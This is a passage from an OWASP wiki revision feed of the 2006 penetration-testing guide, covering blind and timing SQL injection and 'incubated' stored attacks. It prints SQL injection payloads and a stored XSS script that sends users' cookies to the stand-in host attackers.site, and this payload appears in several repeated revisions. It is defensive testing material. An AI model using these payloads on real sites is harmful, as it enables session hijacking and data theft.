&lt;br /&gt;
&lt;br /&gt;
===Example 5: Referrer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referrer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[http://www.owasp.org/index.php/Blind_SQL_Injection|Blind SQL injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL-injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are describe in Sample 4 above. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL-injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL-injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====In case more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* On some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated for instance by a query with unclosed quotes. &lt;br /&gt;
* While on other cases the server will return a 200OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This 1 bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL-injection attack, for example, using the time that it takes the web application to answer a request (see, e.g., ''Bleichenbacher's attack''). An attack of this sort is described by Anley in ([2]) from where we take the next example. A first approach uses the ''SQL command waitfor delay '0:0:5','' for example assume that data is not properly validated through a given attack vector but there is no feedback. Let's say that the attacker wants to check if the ''books'' database exists he will send the command&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
In fact, what we have here is two things: a '''SQL-injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information. Hence, using several queries (as much queries as the bits in the required information) the pen tester can get any data that is in the database. Say, the string&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000) &lt;br /&gt;
 select @s = db_name() &lt;br /&gt;
 if (ascii(substring(@s, ''n'', ''b'')) &amp;amp; ( power(2, 0))) &amp;gt; 0 waitfor delay 0:0:5&lt;br /&gt;
&lt;br /&gt;
will wait for 5 seconds if the ''n''th bit of the name of the current database is ''b'', and will return at once if it is ''1-b''. After discovering the value of each byte, the pen tester will see if the first bit of the next byte is neither 1 nor 0, this means that the string has ended!&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL-injection attacks cannot be done, the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Checking for version and vulnerabilities===&lt;br /&gt;
In case the pen tester can make some queries to the database engine, he will be able to get the database engine's version. He can next match this product name and version with known vulnerabilities or a zero-day exploit that he might have access to.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11532</id>
		<title>Testing for SQL Server</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Server&amp;diff=11532"/>
				<updated>2006-11-03T20:44:53Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Short Description of the Issue (Topic and Explanation) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
[[http://www.owasp.org/index.php/SQL_Injection_AoC SQL injection vulnerabilities]] occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
The Microsoft SQL server has a few particularities so that some exploits need to be specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11531</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11531"/>
				<updated>2006-11-03T20:43:10Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see XSS description for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
1. [[http://sourceforge.net/projects/xss-proxy XSS-proxy]])&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11530</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11530"/>
				<updated>2006-11-03T20:42:30Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see XSS description for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
&lt;br /&gt;
As should also be obvious, the ability to change web page contents at the server, via any vulnerabilities that may be exploitable at the host which will give the attacker webroot write permissions, will also be useful towards planting such an incubated attack on the web server pages (actually, this is a known infection-spread method for some web server worms).&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
Gray/white testing techniques will be the same as previously discussed.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Wata</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11529</id>
		<title>Testing for Incubated Vulnerability (OTG-INPVAL-015)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Incubated_Vulnerability_(OTG-INPVAL-015)&amp;diff=11529"/>
				<updated>2006-11-03T20:42:01Z</updated>
		
		<summary type="html">&lt;p&gt;Wata: /* Black Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue (Topic and Explanation) == &lt;br /&gt;
&lt;br /&gt;
Exploitation of some vulnerabilities, or even functional features of a web application will allow an attacker to plant a piece of data that will later be retrieved by an unsuspected user or other component of the system, exploiting some vulnerability there. &lt;br /&gt;
&lt;br /&gt;
In a penetration test, '''incubated attacks''' can be used to assess the criticality of certain bugs, using the particular security issue found to build a client-side based attack that usually will be used to target a large number of victims at the same time (i.e. all users browsing the site). &lt;br /&gt;
&lt;br /&gt;
This type of asynchronous attack covers a great spectrum of attack vectors, among them the following: &lt;br /&gt;
&lt;br /&gt;
* File upload components in a web application, allowing the attacker to upload corrupted media files (jpg images exploiting CVE-2004-0200, png images exploiting CVE-2004-0597, executable files, site pages with active component, etc)&lt;br /&gt;
&lt;br /&gt;
* Cross-site scripting issues in public forums posts (see XSS description for additional details). An attacker could potentially store malicious scripts or code in a repository in the backend of the web-application (e.g., a database) so that this script/code gets executed by one of the users (end users, administrators, etc). The archetypical incubated attack is exemplified by using a cross-site scripting vulnerability in a user forum, bulletin board or blog in order to inject some javascript code at the vulnerable page, and will be eventually rendered and executed at the site user's browser --using the trust level of the original (vulnerable) site at the user's browser.&lt;br /&gt;
&lt;br /&gt;
* SQL/XPATH Injection allowing the attacker to upload content to a database, which will be later retrieved as part of the active content in a web page. For example, if the attacker can post arbitrary Javascript in a bulletin board so that it gets executed by users, then he might take control of their browsers (e.g., [[http://sourceforge.net/projects/xss-proxy]]).&lt;br /&gt;
&lt;br /&gt;
* Misconfigured servers allowing installation of java packages or similar web site components (i.e. Tomcat, or web hosting consoles such as Plesk, CPanel, Helm, etc.)&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===a. File Upload Sample:===&lt;br /&gt;
&lt;br /&gt;
Verify the content type allowed to upload to the web application and the resultant URL for the uploaded file. Upload a file that will exploit a component in the local user workstation when viewed or downloaded by the user. &lt;br /&gt;
&lt;br /&gt;
Send your victim an email or other kind of alert in order to lead him/her to browse the page. &lt;br /&gt;
&lt;br /&gt;
The expected result is the exploit will be triggered when the user browses the resultant page or downloads and executes the file from the trusted site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===b. XSS sample on a bulletin board===&lt;br /&gt;
&lt;br /&gt;
1. Introduce ''javascript'' code as the value for the vulnerable field, for instance:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write('&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?'+document.cookie+'&amp;quot;&amp;gt;')&amp;lt;/script&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
   &lt;br /&gt;
2. Direct users to browse the vulnerable page or wait for the users to browse it. Have a &amp;lt;nowiki&amp;gt;&amp;quot;listener&amp;quot;&amp;lt;/nowiki&amp;gt; at ''attackers.site'' host listening for all incoming connections. &lt;br /&gt;
&lt;br /&gt;
3. When users browse the vulnerable page, a request containing their cookie (''document.cookie'' is included as part of the requested URL) will be sent to the ''attackers.site'' host, such as the following:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
4. Use cookies obtained to impersonate users at the vulnerable site. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===c. SQL Injection sample===&lt;br /&gt;
&lt;br /&gt;
Usually, this set of examples leverages XSS attacks by exploiting a SQL-injection vulnerability. The first thing to test, is whether the target site has a SQL-injection vulnerability. This is described in Section 4.2. For each SQL-injection vulnerability, there is an underlying set of constraints describing the kind of queries that the attacker/pen-tester is allowed to do. The pen tester then has to match the XSS attacks he has devised with the entries that he is allowed to insert.&lt;br /&gt;
&lt;br /&gt;
1. In a similar fashion as the previous XSS example, use a web page field vulnerable to SQL injection issues to change a value in the database that would be used by the application as input to be shown at the site without proper filtering (this would be a combination of an SQL injection and a XSS issue). For instance, let's suppose there is a ''footer'' table at the database with all footers for the web site pages, including a ''notice'' field with the legal notice that appears at the bottom of each web page. You could use the following query to inject javascript code to the ''notice'' field at the ''footer'' table in the database. &lt;br /&gt;
  &lt;br /&gt;
  SELECT field1, field2, field3&lt;br /&gt;
   FROM table_x&lt;br /&gt;
   WHERE field2 = 'x';&lt;br /&gt;
      UPDATE footer&lt;br /&gt;
      &amp;lt;nowiki&amp;gt;SET notice = 'Copyright 1999-2030%20&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
          &amp;lt;nowiki&amp;gt;&amp;lt;script&amp;gt;document.write(\'&amp;lt;img src=&amp;quot;http://attackers.site/cv.jpg?\'+document.cookie+\'&amp;quot;&amp;gt;\')&amp;lt;/script&amp;gt;'&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
      WHERE notice = 'Copyright 1999-2030';&lt;br /&gt;
      &lt;br /&gt;
2. Now, each user browsing the site will silently send his cookies to the ''attackers.site'' (steps b.2 to b.4). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===d. Misconfigured server===&lt;br /&gt;
&lt;br /&gt;
Some web servers present an administration interface that may allow an attacker to upload active components of her choice to the site. This could be the case with Apache Tomcat servers that doesn’t enforce strong credentials to access its Web Application Manager (or in the case the pen testers have been able to obtain valid credentials for the administration module by other means). &lt;br /&gt;
In this case, a WAR file can be uploaded and a new web application deployed at the site, which will not only allow the pen tester to execute code of her choice locally at the server, but also to plant an application at the trusted site, which the site regular users can then access (most probably with a higher degree of trust than when accessing a different site).&lt;br /&gt;
